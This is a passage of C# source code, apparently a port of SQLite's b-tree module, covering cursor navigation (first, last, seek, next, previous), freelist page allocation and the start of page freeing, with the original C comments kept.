*entry* whereas moveToRightmost()\n    ** finds the right-most entry beneath the page*.\n    **\n    ** The right-most entry is the one with the largest key - the last\n    ** key in ascending order.\n    */\n    static int moveToRightmost(BtCursor pCur)\n    {\n      Pgno pgno;\n      int rc = SQLITE_OK;\n      MemPage pPage = null;\n\n      Debug.Assert(cursorHoldsMutex(pCur));\n      Debug.Assert(pCur.eState == CURSOR_VALID);\n      while (rc == SQLITE_OK && 0 == (pPage = pCur.apPage[pCur.iPage]).leaf)\n      {\n        pgno = sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8);\n        pCur.aiIdx[pCur.iPage] = pPage.nCell;\n        rc = moveToChild(pCur, pgno);\n      }\n      if (rc == SQLITE_OK)\n      {\n        pCur.aiIdx[pCur.iPage] = (u16)(pPage.nCell - 1);\n        pCur.info.nSize = 0;\n        pCur.validNKey = false;\n      }\n      return rc;\n    }\n\n    /* Move the cursor to the first entry in the table.  Return SQLITE_OK\n    ** on success.  Set pRes to 0 if the cursor actually points to something\n    ** or set pRes to 1 if the table is empty.\n    */\n    static int sqlite3BtreeFirst(BtCursor pCur, ref int pRes)\n    {\n      int rc;\n\n      Debug.Assert(cursorHoldsMutex(pCur));\n      Debug.Assert(sqlite3_mutex_held(pCur.pBtree.db.mutex));\n      rc = moveToRoot(pCur);\n      if (rc == SQLITE_OK)\n      {\n        if (pCur.eState == CURSOR_INVALID)\n        {\n          Debug.Assert(pCur.apPage[pCur.iPage].nCell == 0);\n          pRes = 1;\n          rc = SQLITE_OK;\n        }\n        else\n        {\n          Debug.Assert(pCur.apPage[pCur.iPage].nCell > 0);\n          pRes = 0;\n          rc = moveToLeftmost(pCur);\n        }\n      }\n      return rc;\n    }\n\n    /* Move the cursor to the last entry in the table.  Return SQLITE_OK\n    ** on success.  Set pRes to 0 if the cursor actually points to something\n    ** or set pRes to 1 if the table is empty.\n    */\n    static int sqlite3BtreeLast(BtCursor pCur, ref int pRes)\n    {\n      int rc;\n\n      Debug.Assert(cursorHoldsMutex(pCur));\n      Debug.Assert(sqlite3_mutex_held(pCur.pBtree.db.mutex));\n\n      /* If the cursor already points to the last entry, this is a no-op. */\n      if (CURSOR_VALID == pCur.eState && pCur.atLast != 0)\n      {\n#if SQLITE_DEBUG\n        /* This block serves to Debug.Assert() that the cursor really does point\n** to the last entry in the b-tree. */\n        int ii;\n        for (ii = 0; ii < pCur.iPage; ii++)\n        {\n          Debug.Assert(pCur.aiIdx[ii] == pCur.apPage[ii].nCell);\n        }\n        Debug.Assert(pCur.aiIdx[pCur.iPage] == pCur.apPage[pCur.iPage].nCell - 1);\n        Debug.Assert(pCur.apPage[pCur.iPage].leaf != 0);\n#endif\n        return SQLITE_OK;\n      }\n\n      rc = moveToRoot(pCur);\n      if (rc == SQLITE_OK)\n      {\n        if (CURSOR_INVALID == pCur.eState)\n        {\n          Debug.Assert(pCur.apPage[pCur.iPage].nCell == 0);\n          pRes = 1;\n        }\n        else\n        {\n          Debug.Assert(pCur.eState == CURSOR_VALID);\n          pRes = 0;\n          rc = moveToRightmost(pCur);\n          pCur.atLast = (u8)(rc == SQLITE_OK ? 1 : 0);\n        }\n      }\n      return rc;\n    }\n\n    /* Move the cursor so that it points to an entry near the key\n    ** specified by pIdxKey or intKey.   Return a success code.\n    **\n    ** For INTKEY tables, the intKey parameter is used.  pIdxKey\n    ** must be NULL.  For index tables, pIdxKey is used and intKey\n    ** is ignored.\n    **\n    ** If an exact match is not found, then the cursor is always\n    ** left pointing at a leaf page which would hold the entry if it\n    ** were present.  The cursor might point to an entry that comes\n    ** before or after the key.\n    **\n    ** An integer is written into pRes which is the result of\n    ** comparing the key with the entry to which the cursor is\n    ** pointing.  The meaning of the integer written into\n    ** pRes is as follows:\n    **\n    **     pRes<0      The cursor is left pointing at an entry that\n    **                  is smaller than intKey/pIdxKey or if the table is empty\n    **                  and the cursor is therefore left point to nothing.\n    **\n    **     pRes==null     The cursor is left pointing at an entry that\n    **                  exactly matches intKey/pIdxKey.\n    **\n    **     pRes>0      The cursor is left pointing at an entry that\n    **                  is larger than intKey/pIdxKey.\n    **\n    */\n    static int sqlite3BtreeMovetoUnpacked(\n    BtCursor pCur,           /* The cursor to be moved */\n    UnpackedRecord pIdxKey,  /* Unpacked index key */\n    i64 intKey,              /* The table key */\n    int biasRight,           /* If true, bias the search to the high end */\n    ref int pRes             /* Write search results here */\n    )\n    {\n      int rc;\n\n      Debug.Assert(cursorHoldsMutex(pCur));\n      Debug.Assert(sqlite3_mutex_held(pCur.pBtree.db.mutex));\n      // Not needed in C# // Debug.Assert( pRes != 0 );\n      Debug.Assert((pIdxKey == null) == (pCur.pKeyInfo == null));\n\n      /* If the cursor is already positioned at the point we are trying\n      ** to move to, then just return without doing any work */\n      if (pCur.eState == CURSOR_VALID && pCur.validNKey\n      && pCur.apPage[0].intKey != 0\n      )\n      {\n        if (pCur.info.nKey == intKey)\n        {\n          pRes = 0;\n          return SQLITE_OK;\n        }\n        if (pCur.atLast != 0 && pCur.info.nKey < intKey)\n        {\n          pRes = -1;\n          return SQLITE_OK;\n        }\n      }\n\n      rc = moveToRoot(pCur);\n      if (rc != 0)\n      {\n        return rc;\n      }\n      Debug.Assert(pCur.apPage[pCur.iPage] != null);\n      Debug.Assert(pCur.apPage[pCur.iPage].isInit != 0);\n      Debug.Assert(pCur.apPage[pCur.iPage].nCell > 0 || pCur.eState == CURSOR_INVALID);\n      if (pCur.eState == CURSOR_INVALID)\n      {\n        pRes = -1;\n        Debug.Assert(pCur.apPage[pCur.iPage].nCell == 0);\n        return SQLITE_OK;\n      }\n      Debug.Assert(pCur.apPage[0].intKey != 0 || pIdxKey != null);\n      for (; ; )\n      {\n        int lwr, upr;\n        Pgno chldPg;\n        MemPage pPage = pCur.apPage[pCur.iPage];\n        int c;\n\n        /* pPage.nCell must be greater than zero. If this is the root-page\n        ** the cursor would have been INVALID above and this for(;;) loop\n        ** not run. If this is not the root-page, then the moveToChild() routine\n        ** would have already detected db corruption. Similarly, pPage must\n        ** be the right kind (index or table) of b-tree page. Otherwise\n        ** a moveToChild() or moveToRoot() call would have detected corruption.  */\n        Debug.Assert(pPage.nCell > 0);\n        Debug.Assert(pPage.intKey == ((pIdxKey == null) ? 1 : 0));\n        lwr = 0;\n        upr = pPage.nCell - 1;\n        if (biasRight != 0)\n        {\n          pCur.aiIdx[pCur.iPage] = (u16)upr;\n        }\n        else\n        {\n          pCur.aiIdx[pCur.iPage] = (u16)((upr + lwr) / 2);\n        }\n        for (; ; )\n        {\n          int idx = pCur.aiIdx[pCur.iPage]; /* Index of current cell in pPage */\n          int pCell;                        /* Pointer to current cell in pPage */\n\n          pCur.info.nSize = 0;\n          pCell = findCell(pPage, idx) + pPage.childPtrSize;\n          if (pPage.intKey != 0)\n          {\n            i64 nCellKey = 0;\n            if (pPage.hasData != 0)\n            {\n              u32 Dummy0 = 0;\n              pCell += getVarint32(pPage.aData, pCell, ref Dummy0);\n            }\n            getVarint(pPage.aData, pCell, ref nCellKey);\n            if (nCellKey == intKey)\n            {\n              c = 0;\n            }\n            else if (nCellKey < intKey)\n            {\n              c = -1;\n            }\n            else\n            {\n              Debug.Assert(nCellKey > intKey);\n              c = +1;\n            }\n            pCur.validNKey = true;\n            pCur.info.nKey = nCellKey;\n          }\n          else\n          {\n            /* The maximum supported page-size is 32768 bytes. This means that\n            ** the maximum number of record bytes stored on an index B-Tree\n            ** page is at most 8198 bytes, which may be stored as a 2-byte\n            ** varint. This information is used to attempt to avoid parsing\n            ** the entire cell by checking for the cases where the record is\n            ** stored entirely within the b-tree page by inspecting the first\n            ** 2 bytes of the cell.\n            */\n            int nCell = pPage.aData[pCell + 0]; //pCell[0];\n            if (0 == (nCell & 0x80) && nCell <= pPage.maxLocal)\n            {\n              /* This branch runs if the record-size field of the cell is a\n              ** single byte varint and the record fits entirely on the main\n              ** b-tree page.  */\n              c = sqlite3VdbeRecordCompare(nCell, pPage.aData, pCell + 1, pIdxKey); //c = sqlite3VdbeRecordCompare( nCell, (void*)&pCell[1], pIdxKey );\n            }\n            else if (0 == (pPage.aData[pCell + 1] & 0x80)//!(pCell[1] & 0x80)\n            && (nCell = ((nCell & 0x7f) << 7) + pPage.aData[pCell + 1]) <= pPage.maxLocal//pCell[1])<=pPage.maxLocal\n            )\n            {\n              /* The record-size field is a 2 byte varint and the record\n              ** fits entirely on the main b-tree page.  */\n              c = sqlite3VdbeRecordCompare(nCell, pPage.aData, pCell + 2, pIdxKey); //c = sqlite3VdbeRecordCompare( nCell, (void*)&pCell[2], pIdxKey );\n            }\n            else\n            {\n              /* The record flows over onto one or more overflow pages. In\n              ** this case the whole cell needs to be parsed, a buffer allocated\n              ** and accessPayload() used to retrieve the record into the\n              ** buffer before VdbeRecordCompare() can be called. */\n              u8[] pCellKey;\n              u8[] pCellBody = new u8[pPage.aData.Length - pCell + pPage.childPtrSize];\n              Buffer.BlockCopy(pPage.aData, pCell - pPage.childPtrSize, pCellBody, 0, pCellBody.Length);//          u8 * const pCellBody = pCell - pPage->childPtrSize;\n              btreeParseCellPtr( pPage, pCellBody, ref pCur.info );\n              nCell = (int)pCur.info.nKey;\n              pCellKey = new byte[nCell]; //sqlite3Malloc( nCell );\n              //if ( pCellKey == null )\n              //{\n              //  rc = SQLITE_NOMEM;\n              //  goto moveto_finish;\n              //}\n              rc = accessPayload(pCur, 0, (u32)nCell, pCellKey, 0);\n              c = sqlite3VdbeRecordCompare(nCell, pCellKey, pIdxKey);\n              pCellKey = null;// sqlite3_free( ref pCellKey );\n              if (rc != 0) goto moveto_finish;\n            }\n          }\n          if (c == 0)\n          {\n            if (pPage.intKey != 0 && 0 == pPage.leaf)\n            {\n              lwr = idx;\n              upr = lwr - 1;\n              break;\n            }\n            else\n            {\n              pRes = 0;\n              rc = SQLITE_OK;\n              goto moveto_finish;\n            }\n          }\n          if (c < 0)\n          {\n            lwr = idx + 1;\n          }\n          else\n          {\n            upr = idx - 1;\n          }\n          if (lwr > upr)\n          {\n            break;\n          }\n          pCur.aiIdx[pCur.iPage] = (u16)((lwr + upr) / 2);\n        }\n        Debug.Assert(lwr == upr + 1);\n        Debug.Assert(pPage.isInit != 0);\n        if (pPage.leaf != 0)\n        {\n          chldPg = 0;\n        }\n        else if (lwr >= pPage.nCell)\n        {\n          chldPg = sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8);\n        }\n        else\n        {\n          chldPg = sqlite3Get4byte(pPage.aData, findCell(pPage, lwr));\n        }\n        if (chldPg == 0)\n        {\n          Debug.Assert(pCur.aiIdx[pCur.iPage] < pCur.apPage[pCur.iPage].nCell);\n          pRes = c;\n          rc = SQLITE_OK;\n          goto moveto_finish;\n        }\n        pCur.aiIdx[pCur.iPage] = (u16)lwr;\n        pCur.info.nSize = 0;\n        pCur.validNKey = false;\n        rc = moveToChild(pCur, chldPg);\n        if (rc != 0) goto moveto_finish;\n      }\n    moveto_finish:\n      return rc;\n    }\n\n\n    /*\n    ** Return TRUE if the cursor is not pointing at an entry of the table.\n    **\n    ** TRUE will be returned after a call to sqlite3BtreeNext() moves\n    ** past the last entry in the table or sqlite3BtreePrev() moves past\n    ** the first entry.  TRUE is also returned if the table is empty.\n    */\n    static bool sqlite3BtreeEof(BtCursor pCur)\n    {\n      /* TODO: What if the cursor is in CURSOR_REQUIRESEEK but all table entries\n      ** have been deleted? This API will need to change to return an error code\n      ** as well as the boolean result value.\n      */\n      return (CURSOR_VALID != pCur.eState);\n    }\n\n    /*\n    ** Advance the cursor to the next entry in the database.  If\n    ** successful then set pRes=0.  If the cursor\n    ** was already pointing to the last entry in the database before\n    ** this routine was called, then set pRes=1.\n    */\n    static int sqlite3BtreeNext(BtCursor pCur, ref int pRes)\n    {\n      int rc;\n      int idx;\n      MemPage pPage;\n\n      Debug.Assert(cursorHoldsMutex(pCur));\n      rc = restoreCursorPosition(pCur);\n      if (rc != SQLITE_OK)\n      {\n        return rc;\n      }\n      // Not needed in C# // Debug.Assert( pRes != 0 );\n      if (CURSOR_INVALID == pCur.eState)\n      {\n        pRes = 1;\n        return SQLITE_OK;\n      }\n      if (pCur.skipNext > 0)\n      {\n        pCur.skipNext = 0;\n        pRes = 0;\n        return SQLITE_OK;\n      }\n      pCur.skipNext = 0;\n\n      pPage = pCur.apPage[pCur.iPage];\n      idx = ++pCur.aiIdx[pCur.iPage];\n      Debug.Assert(pPage.isInit != 0);\n      Debug.Assert(idx <= pPage.nCell);\n\n      pCur.info.nSize = 0;\n      pCur.validNKey = false;\n      if (idx >= pPage.nCell)\n      {\n        if (0 == pPage.leaf)\n        {\n          rc = moveToChild(pCur, sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8));\n          if (rc != 0) return rc;\n          rc = moveToLeftmost(pCur);\n          pRes = 0;\n          return rc;\n        }\n        do\n        {\n          if (pCur.iPage == 0)\n          {\n            pRes = 1;\n            pCur.eState = CURSOR_INVALID;\n            return SQLITE_OK;\n          }\n          moveToParent(pCur);\n          pPage = pCur.apPage[pCur.iPage];\n        } while (pCur.aiIdx[pCur.iPage] >= pPage.nCell);\n        pRes = 0;\n        if (pPage.intKey != 0)\n        {\n          rc = sqlite3BtreeNext(pCur, ref pRes);\n        }\n        else\n        {\n          rc = SQLITE_OK;\n        }\n        return rc;\n      }\n      pRes = 0;\n      if (pPage.leaf != 0)\n      {\n        return SQLITE_OK;\n      }\n      rc = moveToLeftmost(pCur);\n      return rc;\n    }\n\n\n    /*\n    ** Step the cursor to the back to the previous entry in the database.  If\n    ** successful then set pRes=0.  If the cursor\n    ** was already pointing to the first entry in the database before\n    ** this routine was called, then set pRes=1.\n    */\n    static int sqlite3BtreePrevious(BtCursor pCur, ref int pRes)\n    {\n      int rc;\n      MemPage pPage;\n\n      Debug.Assert(cursorHoldsMutex(pCur));\n      rc = restoreCursorPosition(pCur);\n      if (rc != SQLITE_OK)\n      {\n        return rc;\n      }\n      pCur.atLast = 0;\n      if (CURSOR_INVALID == pCur.eState)\n      {\n        pRes = 1;\n        return SQLITE_OK;\n      }\n      if (pCur.skipNext < 0)\n      {\n        pCur.skipNext = 0;\n        pRes = 0;\n        return SQLITE_OK;\n      }\n      pCur.skipNext = 0;\n\n      pPage = pCur.apPage[pCur.iPage];\n      Debug.Assert(pPage.isInit != 0);\n      if (0 == pPage.leaf)\n      {\n        int idx = pCur.aiIdx[pCur.iPage];\n        rc = moveToChild(pCur, sqlite3Get4byte(pPage.aData, findCell(pPage, idx)));\n        if (rc != 0)\n        {\n          return rc;\n        }\n        rc = moveToRightmost(pCur);\n      }\n      else\n      {\n        while (pCur.aiIdx[pCur.iPage] == 0)\n        {\n          if (pCur.iPage == 0)\n          {\n            pCur.eState = CURSOR_INVALID;\n            pRes = 1;\n            return SQLITE_OK;\n          }\n          moveToParent(pCur);\n        }\n        pCur.info.nSize = 0;\n        pCur.validNKey = false;\n\n        pCur.aiIdx[pCur.iPage]--;\n        pPage = pCur.apPage[pCur.iPage];\n        if (pPage.intKey != 0 && 0 == pPage.leaf)\n        {\n          rc = sqlite3BtreePrevious(pCur, ref pRes);\n        }\n        else\n        {\n          rc = SQLITE_OK;\n        }\n      }\n      pRes = 0;\n      return rc;\n    }\n\n    /*\n    ** Allocate a new page from the database file.\n    **\n    ** The new page is marked as dirty.  (In other words, sqlite3PagerWrite()\n    ** has already been called on the new page.)  The new page has also\n    ** been referenced and the calling routine is responsible for calling\n    ** sqlite3PagerUnref() on the new page when it is done.\n    **\n    ** SQLITE_OK is returned on success.  Any other return value indicates\n    ** an error.  ppPage and pPgno are undefined in the event of an error.\n    ** Do not invoke sqlite3PagerUnref() on ppPage if an error is returned.\n    **\n    ** If the \"nearby\" parameter is not 0, then a (feeble) effort is made to\n    ** locate a page close to the page number \"nearby\".  This can be used in an\n    ** attempt to keep related pages close to each other in the database file,\n    ** which in turn can make database access faster.\n    **\n    ** If the \"exact\" parameter is not 0, and the page-number nearby exists\n    ** anywhere on the free-list, then it is guarenteed to be returned. This\n    ** is only used by auto-vacuum databases when allocating a new table.\n    */\n    static int allocateBtreePage(\n    BtShared pBt,\n    ref MemPage ppPage,\n    ref Pgno pPgno,\n    Pgno nearby,\n    u8 exact\n    )\n    {\n      MemPage pPage1;\n      int rc;\n      u32 n;     /* Number of pages on the freelist */\n      u32 k;     /* Number of leaves on the trunk of the freelist */\n      MemPage pTrunk = null;\n      MemPage pPrevTrunk = null;\n      Pgno mxPage;     /* Total size of the database file */\n\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n      pPage1 = pBt.pPage1;\n      mxPage = pagerPagecount(pBt);\n      n = sqlite3Get4byte(pPage1.aData, 36);\n      testcase(n == mxPage - 1);\n      if (n >= mxPage)\n      {\n#if SQLITE_DEBUG || DEBUG\n        return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n      }\n      if (n > 0)\n      {\n        /* There are pages on the freelist.  Reuse one of those pages. */\n        Pgno iTrunk;\n        u8 searchList = 0; /* If the free-list must be searched for 'nearby' */\n\n        /* If the 'exact' parameter was true and a query of the pointer-map\n        ** shows that the page 'nearby' is somewhere on the free-list, then\n        ** the entire-list will be searched for that page.\n        */\n#if !SQLITE_OMIT_AUTOVACUUM\n        if (exact != 0 && nearby <= mxPage)\n        {\n          u8 eType = 0;\n          Debug.Assert(nearby > 0);\n          Debug.Assert(pBt.autoVacuum);\n          u32 Dummy0 = 0; rc = ptrmapGet(pBt, nearby, ref eType, ref Dummy0);\n          if (rc != 0) return rc;\n          if (eType == PTRMAP_FREEPAGE)\n          {\n            searchList = 1;\n          }\n          pPgno = nearby;\n        }\n#endif\n\n        /* Decrement the free-list count by 1. Set iTrunk to the index of the\n** first free-list trunk page. iPrevTrunk is initially 1.\n*/\n        rc = sqlite3PagerWrite(pPage1.pDbPage);\n        if (rc != 0) return rc;\n        sqlite3Put4byte(pPage1.aData, (u32)36, n - 1);\n\n        /* The code within this loop is run only once if the 'searchList' variable\n        ** is not true. Otherwise, it runs once for each trunk-page on the\n        ** free-list until the page 'nearby' is located.\n        */\n        do\n        {\n          pPrevTrunk = pTrunk;\n          if (pPrevTrunk != null)\n          {\n            iTrunk = sqlite3Get4byte(pPrevTrunk.aData, 0);\n          }\n          else\n          {\n            iTrunk = sqlite3Get4byte(pPage1.aData, 32);\n          }\n          testcase(iTrunk == mxPage);\n          if (iTrunk > mxPage)\n          {\n#if SQLITE_DEBUG || DEBUG\n            rc = SQLITE_CORRUPT_BKPT();\n#else\nrc = SQLITE_CORRUPT_BKPT;\n#endif\n          }\n          else\n          {\n            rc = btreeGetPage(pBt, iTrunk, ref pTrunk, 0);\n          }\n          if (rc != 0)\n          {\n            pTrunk = null;\n            goto end_allocate_page;\n          }\n\n          k = sqlite3Get4byte(pTrunk.aData, 4);\n          if (k == 0 && 0 == searchList)\n          {\n            /* The trunk has no leaves and the list is not being searched.\n            ** So extract the trunk page itself and use it as the newly\n            ** allocated page */\n            Debug.Assert(pPrevTrunk == null);\n            rc = sqlite3PagerWrite(pTrunk.pDbPage);\n            if (rc != 0)\n            {\n              goto end_allocate_page;\n            }\n            pPgno = iTrunk;\n            Buffer.BlockCopy(pTrunk.aData, 0, pPage1.aData, 32, 4);//memcpy( pPage1.aData[32], ref pTrunk.aData[0], 4 );\n            ppPage = pTrunk;\n            pTrunk = null;\n            TRACE(\"ALLOCATE: %d trunk - %d free pages left\\n\", pPgno, n - 1);\n          }\n          else if (k > (u32)(pBt.usableSize / 4 - 2))\n          {\n            /* Value of k is out of range.  Database corruption */\n#if SQLITE_DEBUG || DEBUG\n            rc = SQLITE_CORRUPT_BKPT();\n#else\nrc =  SQLITE_CORRUPT_BKPT;\n#endif\n            goto end_allocate_page;\n#if !SQLITE_OMIT_AUTOVACUUM\n          }\n          else if (searchList != 0 && nearby == iTrunk)\n          {\n            /* The list is being searched and this trunk page is the page\n            ** to allocate, regardless of whether it has leaves.\n            */\n            Debug.Assert(pPgno == iTrunk);\n            ppPage = pTrunk;\n            searchList = 0;\n            rc = sqlite3PagerWrite(pTrunk.pDbPage);\n            if (rc != 0)\n            {\n              goto end_allocate_page;\n            }\n            if (k == 0)\n            {\n              if (null == pPrevTrunk)\n              {\n                //memcpy(pPage1.aData[32], pTrunk.aData[0], 4);\n                pPage1.aData[32 + 0] = pTrunk.aData[0 + 0];\n                pPage1.aData[32 + 1] = pTrunk.aData[0 + 1];\n                pPage1.aData[32 + 2] = pTrunk.aData[0 + 2];\n                pPage1.aData[32 + 3] = pTrunk.aData[0 + 3];\n              }\n              else\n              {\n                //memcpy(pPrevTrunk.aData[0], pTrunk.aData[0], 4);\n                pPrevTrunk.aData[0 + 0] = pTrunk.aData[0 + 0];\n                pPrevTrunk.aData[0 + 1] = pTrunk.aData[0 + 1];\n                pPrevTrunk.aData[0 + 2] = pTrunk.aData[0 + 2];\n                pPrevTrunk.aData[0 + 3] = pTrunk.aData[0 + 3];\n              }\n            }\n            else\n            {\n              /* The trunk page is required by the caller but it contains\n              ** pointers to free-list leaves. The first leaf becomes a trunk\n              ** page in this case.\n              */\n              MemPage pNewTrunk = new MemPage();\n              Pgno iNewTrunk = sqlite3Get4byte(pTrunk.aData, 8);\n              if (iNewTrunk > mxPage)\n              {\n#if SQLITE_DEBUG || DEBUG\n                rc = SQLITE_CORRUPT_BKPT();\n#else\nrc = SQLITE_CORRUPT_BKPT;\n#endif\n                goto end_allocate_page;\n              }\n              testcase(iNewTrunk == mxPage);\n              rc = btreeGetPage(pBt, iNewTrunk, ref pNewTrunk, 0);\n              if (rc != SQLITE_OK)\n              {\n                goto end_allocate_page;\n              }\n              rc = sqlite3PagerWrite(pNewTrunk.pDbPage);\n              if (rc != SQLITE_OK)\n              {\n                releasePage(pNewTrunk);\n                goto end_allocate_page;\n              }\n              //memcpy(pNewTrunk.aData[0], pTrunk.aData[0], 4);\n              pNewTrunk.aData[0 + 0] = pTrunk.aData[0 + 0];\n              pNewTrunk.aData[0 + 1] = pTrunk.aData[0 + 1];\n              pNewTrunk.aData[0 + 2] = pTrunk.aData[0 + 2];\n              pNewTrunk.aData[0 + 3] = pTrunk.aData[0 + 3];\n              sqlite3Put4byte(pNewTrunk.aData, (u32)4, (u32)(k - 1));\n              Buffer.BlockCopy(pTrunk.aData, 12, pNewTrunk.aData, 8, (int)(k - 1) * 4);//memcpy( pNewTrunk.aData[8], ref pTrunk.aData[12], ( k - 1 ) * 4 );\n              releasePage(pNewTrunk);\n              if (null == pPrevTrunk)\n              {\n                Debug.Assert(sqlite3PagerIswriteable(pPage1.pDbPage));\n                sqlite3Put4byte(pPage1.aData, (u32)32, iNewTrunk);\n              }\n              else\n              {\n                rc = sqlite3PagerWrite(pPrevTrunk.pDbPage);\n                if (rc != 0)\n                {\n                  goto end_allocate_page;\n                }\n                sqlite3Put4byte(pPrevTrunk.aData, (u32)0, iNewTrunk);\n              }\n            }\n            pTrunk = null;\n            TRACE(\"ALLOCATE: %d trunk - %d free pages left\\n\", pPgno, n - 1);\n#endif\n          }\n          else if (k > 0)\n          {\n            /* Extract a leaf from the trunk */\n            u32 closest;\n            Pgno iPage;\n            byte[] aData = pTrunk.aData;\n            rc = sqlite3PagerWrite(pTrunk.pDbPage);\n            if (rc != 0)\n            {\n              goto end_allocate_page;\n            }\n            if (nearby > 0)\n            {\n              u32 i;\n              int dist;\n              closest = 0;\n              dist = (int)(sqlite3Get4byte(aData, 8) - nearby);\n              if (dist < 0) dist = -dist;\n              for (i = 1; i < k; i++)\n              {\n                int d2 = (int)(sqlite3Get4byte(aData, 8 + i * 4) - nearby);\n                if (d2 < 0) d2 = -d2;\n                if (d2 < dist)\n                {\n                  closest = i;\n                  dist = d2;\n                }\n              }\n            }\n            else\n            {\n              closest = 0;\n            }\n\n            iPage = sqlite3Get4byte(aData, 8 + closest * 4);\n            testcase(iPage == mxPage);\n            if (iPage > mxPage)\n            {\n#if SQLITE_DEBUG || DEBUG\n              rc = SQLITE_CORRUPT_BKPT();\n#else\nrc = SQLITE_CORRUPT_BKPT;\n#endif\n              goto end_allocate_page;\n            }\n            testcase(iPage == mxPage);\n            if (0 == searchList || iPage == nearby)\n            {\n              int noContent;\n              pPgno = iPage;\n              TRACE(\"ALLOCATE: %d was leaf %d of %d on trunk %d\" +\n              \": %d more free pages\\n\",\n              pPgno, closest + 1, k, pTrunk.pgno, n - 1);\n              if (closest < k - 1)\n              {\n                Buffer.BlockCopy(aData, (int)(4 + k * 4), aData, 8 + (int)closest * 4, 4);//memcpy( aData[8 + closest * 4], ref aData[4 + k * 4], 4 );\n              }\n              sqlite3Put4byte(aData, (u32)4, (k - 1));// sqlite3Put4byte( aData, 4, k - 1 );\n              Debug.Assert(sqlite3PagerIswriteable(pTrunk.pDbPage));\n              noContent = !btreeGetHasContent(pBt, pPgno) ? 1 : 0;\n              rc = btreeGetPage(pBt, pPgno, ref ppPage, noContent);\n              if (rc == SQLITE_OK)\n              {\n                rc = sqlite3PagerWrite((ppPage).pDbPage);\n                if (rc != SQLITE_OK)\n                {\n                  releasePage(ppPage);\n                }\n              }\n              searchList = 0;\n            }\n          }\n          releasePage(pPrevTrunk);\n          pPrevTrunk = null;\n        } while (searchList != 0);\n      }\n      else\n      {\n        /* There are no pages on the freelist, so create a new page at the\n        ** end of the file */\n        int nPage = (int)pagerPagecount(pBt);\n        pPgno = (u32)nPage + 1;\n\n        if (pPgno == PENDING_BYTE_PAGE(pBt))\n        {\n          (pPgno)++;\n        }\n\n#if !SQLITE_OMIT_AUTOVACUUM\n        if (pBt.autoVacuum && PTRMAP_ISPAGE(pBt, pPgno))\n        {\n          /* If pPgno refers to a pointer-map page, allocate two new pages\n          ** at the end of the file instead of one. The first allocated page\n          ** becomes a new pointer-map page, the second is used by the caller.\n          */\n          MemPage pPg = null;\n          TRACE(\"ALLOCATE: %d from end of file (pointer-map page)\\n\", pPgno);\n          Debug.Assert(pPgno != PENDING_BYTE_PAGE(pBt));\n          rc = btreeGetPage(pBt, pPgno, ref pPg, 0);\n          if (rc == SQLITE_OK)\n          {\n            rc = sqlite3PagerWrite(pPg.pDbPage);\n            releasePage(pPg);\n          }\n          if (rc != 0) return rc;\n          (pPgno)++;\n          if (pPgno == PENDING_BYTE_PAGE(pBt)) { (pPgno)++; }\n        }\n#endif\n\n        Debug.Assert(pPgno != PENDING_BYTE_PAGE(pBt));\n        rc = btreeGetPage(pBt, pPgno, ref ppPage, 0);\n        if (rc != 0) return rc;\n        rc = sqlite3PagerWrite((ppPage).pDbPage);\n        if (rc != SQLITE_OK)\n        {\n          releasePage(ppPage);\n        }\n        TRACE(\"ALLOCATE: %d from end of file\\n\", pPgno);\n      }\n\n      Debug.Assert(pPgno != PENDING_BYTE_PAGE(pBt));\n\n    end_allocate_page:\n      releasePage(pTrunk);\n      releasePage(pPrevTrunk);\n      if (rc == SQLITE_OK)\n      {\n        if (sqlite3PagerPageRefcount((ppPage).pDbPage) > 1)\n        {\n          releasePage(ppPage);\n#if SQLITE_DEBUG || DEBUG\n          return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n        }\n        (ppPage).isInit = 0;\n      }\n      else\n      {\n        ppPage = null;\n      }\n      return rc;\n    }\n\n    /*\n    ** This function is used to add page iPage to the database file free-list.\n    ** It is assumed that the page is not already a part of the free-list.\n    **\n    ** The value passed as the second argument to this function is optional.\n    ** If the caller happens to have a pointer to the MemPage object\n    ** corresponding to page iPage handy, it may pass it as the second value.\n    ** Otherwise, it may pass NULL.\n    **\n    ** If a pointer to a MemPage object is passed as the second argument,\n    ** its reference count is not altered by this function.\n    */\n    static int freePage2(BtShared pBt, MemPage pMemPage, Pgno iPage)\n    {\n      MemPage pTrunk = null;                /* Free-list trunk page */\n      Pgno iTrunk = 0;                    /* Page number of free-list trunk page */\n      MemPage pPage1 = pBt.pPage1;      /* Local reference to page 1 */\n      MemPage pPage;                     /* Page being freed. May be NULL. */\n      int rc;                             /* Return Code */\n      int nFree;                          /* Initial number of pages on free-list */\n\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n      Debug.Assert(iPage > 1);\n      Debug.Assert(null == pMemPage || pMemPage.pgno == iPage);\n\n      if (pMemPage != null)\n      {\n        pPage = pMemPage;\n        sqlite3PagerRef(pPage.pDbPage);\n      }\n      else\n      {\n        pPage = btreePageLookup(pBt, iPage);\n      }\n\n      /* Increment the free page count on pPage1 */\n      rc = sqlite3PagerWrite(pPage1.pDbPage);\n      if (rc != 0) goto freepage_out;\n      nFree = (int)sqlite3Get4byte(pPage1.aData, 36);\n      sqlite3Put4byte(pPage1.aData, 36, nFree + 1);\n\n#if SQLITE_SECURE_DELETE\n/* If the SQLITE_SECURE_DELETE compile-time option is enabled, then\n** always fully overwrite deleted information with zeros.\n*/\nif( (!pPage && (rc = btreeGetPage(pBt, iPage, ref pPage, 0)))\n||            (rc = sqlite3PagerWrite(pPage.pDbPage))\n){\ngoto freepage_out;\n}\nmemset(pPage.aData, 0, pPage.pBt.pageSize);\n#endif\n\n      /* If the database supports auto-vacuum, write an entry in the pointer-map\n** to indicate that the page is free.\n*/\n#if !SQLITE_OMIT_AUTOVACUUM //   if ( ISAUTOVACUUM )\n      if (pBt.autoVacuum)\n#else\nif (false)\n#endif\n      {\n        ptrmapPut(pBt, iPage, PTRMAP_FREEPAGE, 0, ref rc);\n        if (rc != 0) goto freepage_out;\n      }\n\n      /* Now manipulate the actual database free-list structure. There are two\n      ** possibilities. If the free-list is currently empty, or if the first\n      ** trunk page in the free-list is full, then this page will become a\n      ** new free-list trunk page. Otherwise, it will become a leaf of the\n      ** first trunk page in the current free-list. This block tests if it\n      ** is possible to add the page as a new free-list leaf.\n      